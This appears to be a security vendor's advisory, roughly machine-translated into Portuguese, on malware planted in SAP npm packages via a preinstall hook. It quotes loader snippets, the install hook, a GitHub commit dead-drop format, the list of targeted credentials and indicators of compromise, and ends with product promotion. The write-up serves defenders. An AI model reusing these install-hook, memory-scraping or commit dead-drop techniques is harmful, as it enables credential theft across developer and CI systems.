Uma nova vulnerabilidade na cadeia de abastecimento do npm está a afetar o ecossistema de programadores SAP.
Os pacotes afetados que estamos a acompanhar até ao momento são:
@cap-js/sqlite - v2.2.2@cap-js/postgres - v2.2.2@cap-js/db-service - v2.10.1mbt@1.2.48
O padrão é familiar, mas também um pouco diferente: um pacote de confiança recebe um novo preinstall função, a função executa uma nova setup.mjs ficheiro, e esse carregador descarrega o ambiente de execução Bun JavaScript para executar uma grande carga útil ofuscada denominada execution.js.
A carga útil consiste numa estrutura de 11,7 MB destinada ao roubo de credenciais e à propagação. Esta estrutura recolhe credenciais de programadores locais, tokens do GitHub e do npm, secrets do GitHub Actions e secrets serviços na nuvem secrets AWS, Azure, GCP e Kubernetes. Em seguida, exfiltra os resultados encriptados através de repositórios públicos do GitHub.
O malware atribui a esses repositórios uma descrição pré-definida:
Apareceu um Mini Shai-Hulud
O Que Aconteceu
Os pacotes comprometidos utilizam a execução do ciclo de vida do npm. Pelo que observámos até agora, package.json foi alterado para incluir:
"scripts": {
"preinstall": "node setup.mjs"
}Isso significa que o código malicioso é executado automaticamente durante npm install, antes mesmo de a instalação ter terminado.
O pacote malicioso adiciona dois ficheiros:
setup.mjsexecution.js
O código do pacote normal continua a parecer o pacote SAP legítimo. No @cap-js/sqlite@2.2.2 na amostra, os ficheiros normais correspondem perfeitamente @cap-js/sqlite@2.2.1 byte a byte. O compromisso consiste no gancho de instalação e nos ficheiros de carga útil adicionados.
Ponto de entrada provável
Uma pista divulgada publicamente aponta para uma causa provável: um token do npm exposto nas compilações de pull requests através do CircleCI.
Isso coincide com o que constatámos em SAP/ferramenta-de-compilação-mta-na-nuvem. No dia 29 de abril, um rascunho de comunicado de imprensa de curta duração intitulado característica: aceleração do CI foi inaugurado em gruposbftechrecruiter/harkonnen-navigator-149. O PR foi encerrado em poucos minutos e o ramo foi posteriormente submetido por force push, deixando o diff atual no GitHub vazio.
CircleCI mas manteve a parte importante. Uma versão de relações públicas baseada em pull/1223 confirmou o commit a959014aa7b7fc37a9b5730c951776e7db2920a6, que instalou um carregador de pães em bin/config.mjs, adicionou uma carga útil ofuscada em bin/mbt.js, e alterei o comando de teste para:
node ./bin/config.mjs && node ./bin/mbtEsse teste foi executado no âmbito de um trabalho de relações públicas em que a CircleCI listou secrets do projeto ocultados, incluindo CLOUD_MTA_BOT_NPM_TOKEN, CLOUD_MTA_BOT_GITHUB_TOKEN, tokens OIDC do CircleCI, credenciais do Docker Hub, credenciais Cloud e outras variáveis relacionadas com a versão.
Os registos também revelaram avisos do Octokit relativos a POST https://api.github.com/user/repos, o que corresponde ao comportamento de exfiltração do malware no GitHub.
Isto torna a compilação do PR do CircleCI a principal pista para o roubo inicial de credenciais.
Como funciona o malware
A primeira fase, setup.mjs, é um programa de inicialização do Bun. Verifica o sistema operativo e a arquitetura, descarrega o Bun 1.3.13 do GitHub quando necessário, extrai o ficheiro binário e utiliza o Bun para o executar execution.js.
const BUN_VERSION = '1.3.13';
const ENTRY_SCRIPT = 'execution.js';
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
execFileSync(binPath, [entryScriptPath], { stdio: 'inherit', cwd: SCRIPT_DIR });A segunda fase, execution.js, é uma única carga útil grande e ofuscada. Utiliza uma camada personalizada de codificação de cadeias de caracteres denominada ctf-scramble-v2, verifica se está a ser executado em CI, encerra a execução se as configurações de localização estiverem definidas para o russo e torna-se um serviço em máquinas que não sejam de CI.
O que rouba
A carga útil foi concebida para atingir tanto os portáteis dos programadores como os executores de CI/CD.
Tenta recolher:
- Tokens do GitHub, incluindo os resultados de
token de autenticação gh - tokens do npm provenientes de
.npmrc - variáveis de ambiente
- secrets do GitHub Actions
- Identidade AWS STS, secrets Secrets e parâmetros do SSM
- Subscrições do Azure, nomes do Key Vault e valores dos segredos do Key Vault
- Identidade do projeto GCP e valores do Secret Manager
- Tokens de contas de serviço do Kubernetes
- Configurações do Claude, configurações do MCP, bases de dados de tokens do GCP, caches de tokens do Azure, configurações do Signal, carteiras Electrum e ficheiros de configuração de VPN
O caminho do GitHub Actions é particularmente preocupante. A carga útil inclui um programa auxiliar em Python incorporado que pesquisa /proc para o Corredor.Trabalhador processo, lê a sua memória e extrai estruturas secretas mascaradas do executor.
Palavra-chave para exfiltração e propagação no GitHub
O malware utiliza o GitHub como canal de exfiltração.
A nova palavra-chave de propagação é:
OhNãoOQueEstáAAcontecerComO GitHubO malware procura esta sequência de caracteres nos commits do GitHub e utiliza as mensagens de commit correspondentes como um ponto de entrega oculto. As mensagens de commit que correspondem a OhNoWhatsGoingOnWithGitHub:<base64> são descodificados em tokens do GitHub e verificados para permitir o acesso ao repositório.
Quando o malware consegue criar um repositório, utiliza nomes aleatórios inspirados na série «Dune» e define a descrição do repositório como:
Apareceu um Mini Shai-Hulude grava os ficheiros de resultados encriptados em:
results/results-<timestamp>-<counter>.jsonOs dados são comprimidos e encriptados antes da gravação utilizando o algoritmo AES-256-GCM, sendo a chave AES protegida por uma chave RSA incorporada.

Lógica de propagação
A carga útil contém a lógica necessária para a implementação nos fluxos de trabalho de desenvolvimento e lançamento.
Nas amostras analisadas, o malware verifica se existe alguma automação de lançamento do GitHub Actions relacionada com cap-js/cds-dbs. Se detetar um fluxo de trabalho de lançamento nesse contexto de repositório, pode modificar um arquivo tar do pacote da seguinte forma:
- copiando a carga útil atual para
execution.js - escrita
setup.mjs - configuração
scripts.preinstall = "node setup.mjs" - incrementar a versão do patch
- reempacotar o tarball
Tenta também utilizar tokens roubados do GitHub Actions para enviar ficheiros para repositórios:
.vscode/tasks.json.vscode/setup.mjs.claude/execution.js.claude/setup.mjs.claude/settings.json
Essas alterações utilizam:
tarefa: atualizar dependênciascom o autor:
claude <claude@users.noreply.github.com>A SAP como alvo
Os pacotes em questão integram-se nos fluxos de trabalho normais de desenvolvimento do SAP. @cap-js/sqlite, @cap-js/postgres, e @cap-js/db-service fazem parte do ecossistema de bases de dados SAP CAP, enquanto mbt é utilizado nos fluxos de trabalho de compilação do SAP Cloud .
Isso faz com que esta campanha tenha um número reduzido de pacotes, mas um impacto potencialmente elevado. É provável que estes pacotes sejam executados em máquinas de programadores e em executores de integração contínua (CI) que tenham acesso ao GitHub, ao npm, a credenciais na nuvem e secrets de implementação empresarial.
Detecção e mitigação
Pesquise em ficheiros de bloqueio, caches de pacotes, registos de CI, registos internos, repositórios de artefactos e máquinas de programadores para:
@cap-js/sqlite - v2.2.2@cap-js/postgres - v2.2.2@cap-js/db-service - v2.10.1mbt@1.2.48setup.mjsexecution.jspreinstallscripts em execuçãoficheiro setup.mjs- Pão
1.3.13downloads durante a instalação do pacote
Pesquisar no GitHub por:
- resultados da pesquisa de commit para
OhNãoOQueEstáAAcontecerComO GitHub:https://github.com/search?q=OhNoWhatsGoingOnWithGitHub&type=commits - repositórios com descrição
Apareceu um Mini Shai-Hulud - commits que contêm
OhNãoOQueEstáAAcontecerComO GitHub - commits intitulados
tarefa: atualizar dependências - commits criados por
claude <claude@users.noreply.github.com> - inesperado
.claude/ou.vscode/setup.mjsfiles resultados/resultados-*.jsonficheiros em repositórios públicos recém-criados
Se algum pacote afetado tiver sido instalado, atualize secrets. Não limite a atualização aos tokens do npm. A carga maliciosa tem como alvo o GitHub, o npm, os fornecedores de serviços na nuvem, o Kubernetes, secrets de CI e as ferramentas locais de desenvolvimento.
Como o Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Endpoint Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Impeça o malware antes que ele seja instalado.
Para proteção futura, considere Aikido Chain (código aberto). O Safe Chain integra-se no seu fluxo de trabalho atual, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando os pacotes com base Aikido antes da instalação.
Indicadores de Comprometimento
Pacotes afetados:
@cap-js/sqlite - v2.2.2@cap-js/postgres - v2.2.2@cap-js/db-service - v2.10.1mbt@1.2.48
Hashes dos arquivos analisados @cap-js/sqlite@2.2.2 exemplo:
setup.mjs:4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34execution.js:6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95- ferramenta de captura de memória integrada do GitHub Runner:
29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7
Cordas e marcadores:
Apareceu um Mini Shai-HuludOhNãoOQueEstáAAcontecerComO GitHub(palavra-chave de propagação / marcador de entrega secreta de commit no GitHub)ctf-scramble-v2tmp.987654321.locktarefa: atualizar dependênciasclaude@users.noreply.github.com
URLs e pontos de extremidade:
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/hxxps://api.github[.]com/search/commits?q=OhNoWhatsGoingOnWithGitHub&sort=author-date&order=desc&per_page=50hxxp://169.254.169.254hxxp://169.254.170.2hxxp://[fd00:ec2::254]

